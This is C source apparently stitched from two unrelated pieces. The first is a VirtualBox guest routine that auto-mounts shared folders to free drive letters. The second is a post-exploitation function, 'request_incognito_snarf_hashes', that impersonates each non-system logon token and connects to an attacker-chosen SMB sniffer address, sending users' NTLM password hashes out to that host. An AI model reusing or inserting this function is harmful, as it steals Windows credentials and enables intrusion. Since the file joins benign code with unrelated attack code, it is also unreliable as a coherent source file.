int VBoxSharedFoldersAutoMount(void)
{
uint32_t u32ClientId;
int rc = VbglR3SharedFolderConnect(&u32ClientId);
if (RT_FAILURE(rc))
Log(("VBoxTray: Failed to connect to the shared folder service, error %Rrc\n", rc));
else
{
uint32_t cMappings;
VBGLR3SHAREDFOLDERMAPPING *paMappings;
rc = VbglR3SharedFolderGetMappings(u32ClientId, true /* Only process auto-mounted folders */,
&paMappings, &cMappings);
if (RT_SUCCESS(rc))
{
#if 0
/* Check for a fixed/virtual auto-mount share. */
if (VbglR3SharedFolderExists(u32ClientId, "vbsfAutoMount"))
{
Log(("VBoxTray: Hosts supports auto-mount root\n"));
}
else
{
#endif
Log(("VBoxTray: Got %u shared folder mappings\n", cMappings));
for (uint32_t i = 0; i < cMappings && RT_SUCCESS(rc); i++)
{
char *pszName = NULL;
rc = VbglR3SharedFolderGetName(u32ClientId, paMappings[i].u32Root, &pszName);
if ( RT_SUCCESS(rc)
&& *pszName)
{
Log(("VBoxTray: Connecting share %u (%s) ...\n", i+1, pszName));
char *pszShareName;
if (RTStrAPrintf(&pszShareName, "\\\\vboxsrv\\%s", pszName) >= 0)
{
char chDrive = 'D'; /* Start probing whether drive D: is free to use. */
do
{
char szCurDrive[3];
RTStrPrintf(szCurDrive, sizeof(szCurDrive), "%c:", chDrive++);
NETRESOURCE resource;
RT_ZERO(resource);
resource.dwType = RESOURCETYPE_ANY;
resource.lpLocalName = TEXT(szCurDrive);
resource.lpRemoteName = TEXT(pszShareName);
/* Go straight to our network provider in order to get maximum lookup speed. */
resource.lpProvider = TEXT("VirtualBox Shared Folders");
/** @todo Figure out how to map the drives in a block (F,G,H, ...).
Save the mapping for later use. */
DWORD dwErr = WNetAddConnection2A(&resource, NULL, NULL, 0);
if (dwErr == NO_ERROR)
{
LogRel(("VBoxTray: Shared folder \"%s\" was mounted to drive \"%s\"\n", pszName, szCurDrive));
break;
}
else
{
LogRel(("VBoxTray: Mounting \"%s\" to \"%s\" resulted in dwErr = %ld\n", pszName, szCurDrive, dwErr));
switch (dwErr)
{
/*
* The local device specified by the lpLocalName member is already
* connected to a network resource. Try next drive ...
*/
case ERROR_ALREADY_ASSIGNED:
break;
default:
LogRel(("VBoxTray: Error while mounting shared folder \"%s\" to \"%s\", error = %ld\n",
pszName, szCurDrive, dwErr));
break;
}
}
} while (chDrive <= 'Z');
if (chDrive > 'Z')
{
LogRel(("VBoxTray: No free driver letter found to assign shared folder \"%s\", aborting\n", pszName));
break;
}
RTStrFree(pszShareName);
}
else
rc = VERR_NO_STR_MEMORY;
RTStrFree(pszName);
}
else
Log(("VBoxTray: Error while getting the shared folder name for root node = %u, rc = %Rrc\n",
paMappings[i].u32Root, rc));
}
#if 0
}
#endif
RTMemFree(paMappings);
}
else
Log(("VBoxTray: Error while getting the shared folder mappings, rc = %Rrc\n", rc));
VbglR3SharedFolderDisconnect(u32ClientId);
}
return rc;
}
// Send off hashes for all tokens to IP address with SMB sniffer running
DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
{
DWORD num_tokens = 0, i;
SavedToken *token_list = NULL;
NETRESOURCE nr;
HANDLE saved_token;
char conn_string[BUF_SIZE] = "", domain_name[BUF_SIZE] = "", *smb_sniffer_ip = NULL,
return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
Packet *response = packet_create_response(packet);
smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
// Initialise net_resource structure (essentially just set ip to that of smb_sniffer)
if (_snprintf(conn_string, sizeof(conn_string), "\\\\%s", smb_sniffer_ip) == -1)
conn_string[sizeof(conn_string)-1] = '\0';
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpProvider = NULL;
nr.lpRemoteName = (LPSTR)conn_string;
// Save current thread token if one is currently being impersonated
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens);
if (!token_list)
{
packet_transmit_response(GetLastError(), remote, response);
goto cleanup;
}
// Use every token and get hashes by connecting to SMB sniffer
for (i=0;i<num_tokens;i++)
if (token_list[i].token)
{
get_domain_from_token(token_list[i].token, domain_name);
// If token is not "useless" local account connect to sniffer
if (_stricmp(domain_name, "NT AUTHORITY"))
{
// Impersonate token
ImpersonateLoggedOnUser(token_list[i].token);
// Cancel previous connection to ensure hashes are sent and existing connection isn't reused
WNetCancelConnection2A(nr.lpRemoteName, 0, TRUE);
// Connect to smb sniffer
if (!WNetAddConnection2A(&nr, NULL, NULL, 0))
// Revert to primary token
RevertToSelf();
}
CloseHandle(token_list[i].token);
}
packet_transmit_response(ERROR_SUCCESS, remote, response);
cleanup:
free(token_list);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)
ImpersonateLoggedOnUser(saved_token);
return ERROR_SUCCESS;
}